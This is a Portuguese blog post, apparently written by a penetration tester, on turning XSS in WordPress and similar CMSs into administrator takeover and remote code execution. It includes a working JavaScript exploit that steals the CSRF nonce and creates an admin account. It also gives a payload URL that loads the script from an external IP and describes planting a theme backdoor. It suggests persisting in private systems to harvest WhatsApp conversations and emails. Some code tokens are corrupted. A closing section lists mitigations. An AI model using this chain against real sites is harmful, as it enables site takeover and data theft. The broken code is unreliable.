Elevating Low Vulnerabilities to Critical in CMSs and E-Commerce Platforms
Cross-site Scripting (XSS) é uma das vulnerabilidades mais comuns encontradas em ataques a aplicações
web.
Devido à
sua ampla presença na maioria das aplicações, muitas vezes seu potencial é subestimado, limitando-se apenas a
Sessions Hijacking, Open Redirects, Phishings, entre outros. No entanto, em certos
cenários, é
possível comprometer
totalmente os sistemas ao explorar essa falha de maneira eficaz.
Neste artigo, demonstrarei o real potencial do Cross-Site Scripting (XSS) em plataformas de Content
Management
Systems (CMS) e E-Commerce, além de explorar como é possível alcançar a Execução Remota de
Código
(RCE)
por meio de XSS nesses sistemas.
Porém antes de prosseguirmos, é fundamental compreender os conceitos básicos de Cross-Site Scripting
(XSS),
Atributos de cookies (HttpOnly, SameSite), Same-Origin Policy (SOP), Cross-Origin Resource
Sharing
(CORS), Tokens
CSRF, entre outros. Caso já esteja familiarizado ou queira avançar diretamente para o conteúdo do
POST(Clique aqui).
O que é Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) é uma vulnerabilidade que permite a inserção de códigos JavaScript em
uma aplicação.
Esses códigos são interpretados pelo navegador do usuário, possibilitando o acesso a informações da aplicação
vulnerável ao qual o usuário está navegando, como cookies de sessão, credenciais armazenadas, entre outros.
Permitindo que um atacante execute ações em nome de um usuário legítimo, contornando as políticas de
Same-Origin
Policy (SOP) implementadas nos navegadores web.
O que é Same-Origin Policy (SOP)
Same-Origin Policy (SOP) é um mecanismo de defesa implementado em todos os navegadores por padrão. Sua
função é
não permitir a LEITURA de requisições enviadas Cross-Origin, ou seja, requisições que não sejam da
mesma origem.
No contexto da web, uma origem pode ser resumida da seguinte forma:
Para que um site seja considerado Same-Origin, seus schemasHTTP precisam ser
idênticos, ou seja,
devem possuir a mesma estrutura de (SCHEMA://HOST:PORT/), tendo flexibilidade apenas no quesito de
diretórios e arquivos.
Como mencionado anteriormente, o Same-Origin Policy (SOP) bloqueia apenas a leitura das respostas de
requisições de origens diferentes (Cross-Origin). Isso significa que ainda é viável enviar
requisições
autenticadas utilizando JavaScript, fazendo-se passar pelo usuário legítimo através de um site de
Origem
Diferente, em uma técnica conhecida como Cross-Site Request Forgery (CSRF). Abaixo, veremos mais
informações sobre.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) envolve a execução de ações em nome do usuário por meio de códigos
HTML ou
JavaScript através de origens diferentes (Cross-Origin). No entanto, como veremos, existem
diversos mecanismos
que podem bloquear a exploração do CSRF. Apesar disso, este ataque é extremamente poderoso e, em certos
cenários, pode ser mais prejudicial do que um Cross-Site Scripting (XSS), já que não requer uma falha no
código
da aplicação em si. Além disso, é facilmente disseminado entre os usuários simplesmente ao acessar um simples
site.
SameSite Cookie Attribute
SameSite é um mecanismo de segurança dos cookies que sua principal funcionalidade é bloquear ou permitir
o envio
de cookies apartir de requisições de origens diferentes (Cross-Origin). Esse atributo possue 3
categorias:
None: Permite o envio de cookies de origens diferentes tanto em requisições GET quanto em
requisições
POST. Isso significa que, se os atributos de cookies do seu site estiverem configurados com o
atributo
“SameSite: None”, e um usuário com uma sessão estabelecida no site alvo visitar outro site
malicioso
de
origem diferente (Cross-Origin), o site malicioso pode realizar requisições GET e
POST para o
site
alvo em nome da vítima através de JavaScript.
Lax: Permite o envio de cookies de origens diferentes apenas em requisições que utilizam o método
GET.
Isso significa que, se os atributos de cookies do seu site estiverem configurados com o atributo
"SameSite:
Lax", ou caso o atributo SameSite não seja especificado pelo desenvolvedor da aplicação
durante a
atribuição do cookie, o cookie automaticamente recebe o atributo "SameSite: Lax" em navegadores
Chrome.
Nesse cenário, se um usuário com uma sessão estabelecida no site alvo visitar outro site malicioso de
origem
diferente (Cross-Origin), o site malicioso pode realizar requisições GET para o site alvo
em nome
da
vítima através de JavaScript.
Strict: Bloqueia completamente o envio de cookies de origens diferentes (Cross-Origin),
sendo o
cenário
mais restritivo.
No entanto, como mencionado anteriormente, o site malicioso não pode visualizar as respostas de suas requisições
devido ao mecanismo de Same-Origin Policy (SOP). Entretanto, existe um mecanismo de configuração do
SOP chamado
Cross-Origin Resource Sharing (CORS). Se configurado de maneira incorreta, CORS pode invalidar o
SOP,
tornando-se um vetor de exploração.
Cross-Origin Resource Sharing (CORS)
O Cross-Origin Resource Sharing (CORS) é um mecanismo de configuração do Same-Origin Policy (SOP).
Em outras
palavras, o CORS permite que o desenvolvedor "enfraqueça" as regras restritivas do SOP. Você pode
estar se
perguntando, por que um desenvolvedor faria isso?. A resposta é simples. Alguns serviços, como provedores e
APIs, necessitam que o cliente (usuário) receba e veja a resposta de sua requisição, isso só é viável
através do
CORS.
O CORS possue vários cabeçalhos (headers) de configuração:
Access-Control-Allow-Origin;
Access-Control-Expose-Headers;
Access-Control-Max-Age;
Access-Control-Allow-Credentials;
Access-Control-Allow-Methods; e
Access-Control-Allow-Headers.
Porém os mais utilizados são:
Access-Control-Allow-Origin; e
Access-Control-Allow-Credentials.
O header"Access-Control-Allow-Origin" é um componente essencial do CORS que determina
quais sites Cross-Origin
possuem permissão para acessar as respostas das requisições. No entanto, por padrão, ao apenas especificar o
header"Access-Control-Allow-Origin" as respostas das requisições são retornadas de forma não
autenticada.
Isso
significa que, mesmo que o usuário realize requisições de forma autenticada Cross-Origin, seja através
dos
atributos SameSite “Lax” ou “None”, a resposta da requisição enviada de volta para o usuário será
tratada como
se o usuário não estivesse autenticado. No entanto, sabemos que essa não é a realidade. É aqui que o
header"Access-Control-Allow-Credentials" entra em jogo.
O header"Access-Control-Allow-Credentials" é um componente do CORS que determina se as
respostas das
requisições Cross-Origin, especificadas pelo header"Access-Control-Allow-Origin", serão
enviadas ao usuário de
forma autenticada ou não autenticada. Este header possui dois atributos: "true" e
"false".
Quando o atributo é
definido como "true", as respostas das requisições são enviadas ao usuário de forma autenticada. Por
outro lado,
quando o atributo é definido como "false", ou caso o header"Access-Control-Allow-Credentials" não seja
especificado, as respostas das requisições são retornadas ao usuário de forma não autenticada.
CSRF Tokens
Os CSRF Tokens são valores randômicos gerados e validados pelo servidor a cada requisição enviada para a
aplicação. Sua principal função é mitigar os ataques de Cross-Site Request Forgery (CSRF), uma vez que,
através
de um CSRF, não é viável obter a resposta da aplicação (a menos que o CORS esteja mal configurado,
como visto
anteriormente).
HttpOnly Cookie Attribute
Por último, mas não menos importante, o atributo HttpOnly é um mecanismo crucial que impede a leitura do
valor
dos cookies de sessão, mesmo quando o script está sendo executado na mesma origem (Same-Origin) ou em
origens
diferentes (Cross-Origin). Embora isso seja eficaz em proteger os cookies de sessão, ainda é viável
realizar
requisições em nome do usuário.
XSS to RCE Explanation
A maioria dos CMS’s e plataformas de E-Commerce’s implementam mecanismos de defesa robustos contra
ataques de
Cross-Site Request Forgery (CSRF). No entanto, muitas vezes, não é aplicado o mesmo nível de proteção ou
pode
ser difícil mitigar os ataques de Cross-Site Scripting (XSS). O perigo reside no fato de que
compreendemos a
estrutura dessas aplicações, incluindo sua construção interna, fluxo de requisições, entre outros aspectos,
especialmente devido ao fato de serem de código aberto (Open Source). Com esse conhecimento em mãos e a
capacidade de executar JavaScript na mesma origem (Same-Origin) da aplicação, seja através de
plugins, temas
vulneráveis ou falhas no núcleo da aplicação (core), é viável causar impactos significativos, resultando
em
Execução Remota de Códigos (RCE) nesses sistemas. Tendo como grande aliado a execução de
JavaScript na mesma
origem (Same-Origin), contornando os bloqueios de CSRF Tokens, Same-Origin Policy (SOP),
SameSite, entre outros,
tendo apenas como um desafio em alguns casos o atributo HttpOnly. No entanto, como sabemos, mesmo não
possuindo
acesso aos cookies de sessão do usuário, podemos realizar requisições normalmente para a aplicação, passando-se
pelo usuário, mesmo na presença do atributo HttpOnly.
Essas possibilidades de Execução Remota de Códigos (RCE) são agravadas pelo fato de que esses sistemas
possuem
diversas interfaces de gerenciamento tanto a nível de aplicação quanto de servidor. Embora muitas empresas não
considerem isso um risco, pois essas interfaces são geralmente acessadas apenas com privilégios elevados
(usuários administrativos), na realidade, isso cria cenários perfeitos para o comprometimento desses servidores
através de falhas como Cross-Site Scripting (XSS). A complexidade desses sistemas oferece várias
oportunidades
para explorar e criar ataques sofisticados. Mais detalhes sobre essas cadeias de ataques serão abordados a
seguir.
Building the Exploits
Primeiro, precisamos escolher um serviço. Esse serviço pode ser um projeto de código aberto (Open Source)
ou até
mesmo sistemas privados. Muitas vezes, ao ler os arquivos JavaScript da aplicação, é viável entender seu
funcionamento, suas funcionalidades e características interessantes, e criar seus exploits com base nisso. Já
desenvolvi exploits para serviços privados, mas, por serem privados, não tenho permissão para divulgá-los. Porém
todos foram através de leitura de arquivos JavaScript, entendendo as lógicas da aplicação que são
executadas de
forma autenticada, e escrevendo exploits a partir desses arquivos. Ou seja, não hesite em tentar entender a
lógica da aplicação por meio de códigos JavaScript, pois isso pode ser uma mina de ouro em determinados
ambientes. Para este exemplo, vamos criar um exploit para o Wordpress. Antes de tudo, precisamos de uma
instância do Wordpress atualizada e estável, que funcione sem problemas. Durante minhas pesquisas,
utilizei as
imagens Docker da Bitnami, que também vamos usar neste exemplo.
Podemos baixar a última imagem Docker do Wordpress disponível através do site da Bitnami(bitnami.com/stack/wordpress/containers), ou
diretamente através do comando:
Após realizar o download do arquivo “docker-compose.yml”, vamos implantar nossa aplicação utilizando o
comando:
docker-compose up
Depois que a aplicação for implantada com sucesso, iremos autenticar usando um usuário com permissões para
realizar operações interessantes. No caso do Wordpress, este usuário seria o administrador. As credenciais
padrão de administrador do Wordpress Bitnami são:
Username: user
Password: bitnami
Depois de nos autenticarmos, é crucial navegar pelo sistema e procurar por funcionalidades interessantes que
possam nos conceder Execução Remota de Código (RCE) ou acessos privilegiados. No caso do
Wordpress, podemos
alcançar esse objetivo explorando plugins personalizados instalados que possam ter vulnerabilidades
autenticadas, alterar os privilégios do nosso usuário, adicionar uma nova conta de usuário com privilégios
administrativos, editar plugins built-in do próprio Wordpress, editar temas built-in do
Wordpress, explorar
vulnerabilidades autenticadas no próprio core do Wordpress, entre outras possibilidades.
Para este exemplo, vamos criar uma conta com privilégios administrativos. A partir dessa conta, poderemos
navegar pela aplicação através da interface gráfica em busca de outros vetores que nos permitam ampliar nossos
acessos e obter RCE no servidor. Em sistemas privados, poderíamos adicionar uma conta administrativa,
manter o
acesso e coletar o máximo de informações, como: conversas no WhatsApp, trocas de e-mails através da
aplicação,
logs do sistema, entre outros. Enquanto nossa conta estiver ativa.
Em nosso ambiente de laboratório Docker do Wordpress, estamos logados como o usuário administrador
(user), onde
iremos explorar as funcionalidades de adicionar novos usuários no menu "Users".
A abordagem que utilizo se resume em realizar todo o fluxo de uma funcionalidade interessante, capturando as
requisições feitas à aplicação e analisando cada uma detalhadamente. Para demonstração vamos aplicar isso à
funcionalidade de adicionar usuários.
(1) Criando um novo usuário administrador na aplicação
(2) Usuário adicionado com sucesso
Depois de completar o processo de adicionar um usuário, podemos revisar as requisições realizadas durante esse
processo. As requisições marcadas em vermelho são aquelas que precisamos nos aprofundar e replicar seus
comportamentos em nosso exploit.
A primeira requisição (324), realiza um GET para o arquivo "/wp-admin/user-new.php" e obtém
o CSRF Token
“50bee24cef”. Guarde esse token, pois ele será utilizado nas próximas requisições.
Através do navegador, o usuário preenche os campos com as informações da conta que deseja adicionar. Ao final,
uma requisição é feita para a aplicação contendo esses dados. No nosso caso, é realizada uma requisição POST
(335) para o arquivo "/wp-admin/user-new.php", contendo os parâmetros das informações do usuário
(user_login,
email, pass1, pass2, role, pw_weak), juntamente com o CSRF Token “_wpnonce_create-user”.
No entanto, é importante estar atento, ao tentarmos realizar novamente a mesma requisição para a aplicação,
recebemos uma resposta completamente diferente. Isso pode significar duas coisas: primeiro, que nosso CSRF
Token
expirou e precisamos gerar um novo, realizando uma nova requisição GET para
"/wp-admin/user-new.php". Segundo,
pode ser que já exista um usuário cadastrado com as mesmas informações do usuário que estamos tentando
cadastrar.
Através da funcionalidade de renderização de HTML do Burp Suite"render", é viável observar
que já existe um
usuário registrado na aplicação com nosso e-mail e nome de usuário. É crucial estar atento a essas situações,
pois ao desenvolver exploits mais complexos, você precisará estar preparado para lidar com problemas como este.
Lembre-se de que, na maioria dos casos, só teremos uma chance de executar nosso exploit.
Aqui identificamos um padrão. Se a aplicação responde com o código de status "302 Found" e retornar um
Location
para "users.php?update=add&id={ID}", significa que nosso usuário foi adicionado com sucesso. Por outro
lado, se
a aplicação responde com o código de status "200 OK" e retorna um código HTML contendo a string
"already
registered", isso indica que ocorreu algum erro e nosso usuário não foi adicionado.
Na última etapa do nosso fluxo para adicionar um usuário na aplicação, é realizada uma requisição GET
para o
arquivo "/wp-admin/users.php?update=add&id={ID}" (336), conforme especificado pela aplicação no cabeçalho
Location. Ao usar novamente a funcionalidade de renderização de HTML do Burp Suite, podemos
confirmar que nosso
usuário foi adicionado com sucesso. No entanto, mais importante para o nosso exploit, temos dois campos que
podemos verificar para validar se o usuário foi realmente adicionado. Primeiro, através da mensagem "New user
created". Segundo, e mais confiável, pesquisando pelo nome ou e-mail do nosso usuário, fazendo uma
requisição
para o arquivo "/wp-admin/users.php".
Vamos recapitular nossos passos. Primeiro, precisamos realizar uma requisição GET para o arquivo
"/wp-admin/user-new.php" e extrair o CSRF Token de sua resposta HTML. Em seguida, faremos
uma requisição POST
para o arquivo "/wp-admin/user-new.php", passando como parâmetros o CSRF Token extraído
"_wp_nonce_create-user"
e as informações da conta de usuário que queremos adicionar na aplicação (user_login, email, pass1, pass2,
role,
pw_weak). Após recebermos a resposta dessa requisição POST, verificaremos se obtivemos o código
de status "302
Found" e se o cabeçalho "Location" contém a string
"/wp-admin/users.php?update=add&id={ID}". Em seguida,
acessaremos a URL do Location e verificaremos se as informações do nosso usuário foram adicionadas
com sucesso,
procurando pela string "New User created" ou, de forma mais confiável, pelas informações da nossa conta
adicionada, como username ou e-mail.
Agora que entendemos todo o fluxo de como ocorre a criação de um usuário e os possíveis problemas que podem
surgir no processo, chegou a hora da diversão: criar nosso exploit. Fique à vontade para usar qualquer método de
realização e manipulação de requisições (Fetch, XMLHTTPRequest, JQuery, Axios,
etc.). Neste exemplo, irei
utilizar XMLHTTPRequest.
Como podemos observar, em apenas 28 linhas de código, conseguimos realizar toda a cadeia de ataque. No
entanto,
é importante notar que este código é apenas uma demonstração. Ele não possui tratamento de erros nem
callbacks
para informar se a exploração foi bem-sucedida. Em um cenário real, você precisará escrever um exploit mais
elaborado. No entanto, para entender a lógica básica por trás da exploração, este código já é suficiente.
code snippet
// Make a GET request to "/wp-admin/user-new.php".
var stage1 = new XMLHttpRequest();
stage1.open("GET", "https://wordpress.local/wp-admin/user-new.php", false);
stage1.send();
// Grep the CSRF Token value.
var csrf_token = stage1.responseText.match(/id="_wpnonce_create-user"[\s\S]*?value="(.*?)"/)[1];
// Make a POST request to "/wp-admin/user-new.php".
var stage2 = new XMLHttpRequest();
stage2.open("POST", "https://wordpress.local/wp-admin/user-new.php", false);
stage2.setRequestHeader('Content-Type', 'application/x-www-form-urlend');
stage2.send("action=createuser&_wpnonce_create-user=" +
csrf_token + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" +
"nowak0x01" + "&email=" +
enURIComponent("nowak0x01@wordpress.local") + "&first_name=" +
"" + "&last_name=" +
"" + "&url=&pass1=" +
enURIComponent("P0C#$u37") + "&pass2=" +
enURIComponent("P0C#$u37") + "&pw_weak=on&role=" +
"administrator" + "&createuser=Add%2BNew%2BUser");
// Check in the HTML if it contains the username of our user "nowak0x01".
if (stage2.responseText.match("nowak0x01")[0]) {
console.log("The user has been successfully created!");
Para fins de demonstração, criamos um arquivo "searcher.php" no diretório do Wordpress vulnerável
a Cross-Site
Scripting (XSS). No entanto, em um cenário real, você precisará explorar uma vulnerabilidade de
XSS genuína.
A partir desse XSS, agora precisamos importar nosso exploit. Isso pode ser feito de várias maneiras. A
mais
comum é através da tag:
<script src=""></script>
No entanto, essa abordagem geralmente é bloqueada por WAFs. Existem outras técnicas menos conhecidas para
importar arquivos JavaScript, que podem ajudar a contornar alguns cenários de WAFs. Uma delas é
através das tags:
Ou se a aplicação estiver utilizando jQuery, também podemos usar:
$.getScript('http:example.com')
Agora que temos diversas maneiras de importar nossos scripts, vamos importar nosso exploit "AddUser.js".
Sinta-se à vontade para hospedar seu exploit em qualquer domínio, VPS, através da própria aplicação via
File
Upload, etc. No nosso caso, utilizamos o GCP para hospedar nosso arquivo "AddUser.js" em
um servidor.
Depois de hospedarmos nosso exploit, precisamos importá-lo na aplicação através do XSS. No caso,
utilizamos a
abordagem tradicional <script src=""></script>, com o seguinte payload:
https://wordpress.local/searcher.php?search=<script src="https://34.125.48.153/AddUser.js">
Aplicação solicitando nosso exploit "AddUser.js".
Após um usuário com sessão administrativa no Wordpress acessa nossa URL vulnerável, que está
importando nosso
exploit, nossa cadeia de ataque é executada. Isso resulta na realização das requisições necessárias para criar o
nosso usuário “nowak0x01” administrador na aplicação.
Onde nosso usuário foi adicionado com sucesso à aplicação.
Após isso, podemos realizar login na aplicação com nosso novo usuário adicionado e explorar outros vetores de
Execução Remota de Códigos (RCE) ou funcionalidades interessantes, como mencionado anteriormente. No
entanto,
vamos abordar isso de uma maneira mais interessante.
Concordamos que adicionar um usuário, especialmente com privilégios de administrador, em um WordPress
ou
qualquer sistema, pode levantar suspeitas. Aqui é onde a verdadeira magia do XSS entra em jogo; você
só
precisa
ser criativo. Sabemos que desenvolver exploits pode ser um pouco trabalhoso, e às vezes, não temos tempo
para
nos dedicar a escrever um exploit que demonstre todo o impacto que uma vulnerabilidade pode ter no ambiente
do
cliente. Por esse motivo, desenvolvi exploits para os CMS’s e plataformas de E-Commerce’s mais
populares e
amplamente utilizados. Estes exploits incluem diversos módulos, tais como:
(Privilege Escalation) - Creates an administrator user on the application;
(RCE) - Built-In Plugin’s Edit;
(RCE) - Built-In Theme’s Edit;
(RCE) - Plugin Upload - Upload your custom plugin (backdoor) to the application;
(Custom) - Custom Exploits for Third-Party Plugins/Themes.
Para a demonstração, vamos utilizar o WPXStrike, juntamente com o módulo de edição de temas
built-in do
WordPress. Caso queira entender como a ferramenta funciona, veja os exemplos disponibilizados no
GitHub.
Trecho de código do exploit do tema "TwentyTwentyThree()".
Como podemos observar, o arquivo "patterns/hidden-404.php" do tema "Twenty Twenty-Three" do
WordPress não
apresenta nenhuma alteração ou código malicioso. No entanto, após a execução do nosso exploit, nosso
backdoor
será implantado neste arquivo.
Após um usuário com sessão administrativa no Wordpress acessa nossa URL vulnerável a
XSS,
que está importando
nosso exploit, nossa cadeia de ataque é executada. Isso resulta na realização das requisições necessárias
para
editar o tema escolhido, no caso o "Twenty Twenty-Three", adicionando nosso backdoor ao
código.
Resposta recebida em nosso servidor Burp Collaborator, confirmando a execução bem-sucedida do nosso
exploit.
Backdoor inserido no código-fonte do tema "Twenty Twenty-Three".
Obtendo Execução Remota de Códigos (RCE) no servidor através do nosso backdoor.
Como vimos, obter Execução Remota de Código (RCE) através de um XSS não é uma tarefa tão
difícil quanto
parece, embora demande tempo e trabalho. Espero que tenha gostado desse POST e compreendido a lógica
por
trás da técnica, a cadeia de ataques e como utilizar essa metodologia para criar novos exploits em
diferentes serviços. Agradeço se você leu até aqui. Desejo a você uma excelente semana e bons estudos.
Como previnir minhas aplicações contra esse tipo de exploração?
Desativar funcionalidades administrativas: Desabilite o acesso ao gerenciamento de recursos
através do painel de administração, preferindo a gestão exclusiva dessas funcionalidades via
Interface
de Linha de Comando (CLI) no servidor local.
Exemplo de Mitigação no WordPress: É possível desabilitar as funcionalidades de editar,
remover e
adicionar plugins e temas no Wordpress adicionando o seguinte trecho de código ao arquivo
"wp-config.php":
define('DISALLOW_FILE_MODS', true);
Contas com privilégios administrativos: Evite o uso de contas com privilégios administrativos
em
tarefas do dia a dia.
Utilização de CAPTCHA: Implemente sistemas de CAPTCHA que exijam interações
específicas via
interface gráfica, como a seleção de imagens, a resolução de quebra-cabeças ou a entrada de texto
específico.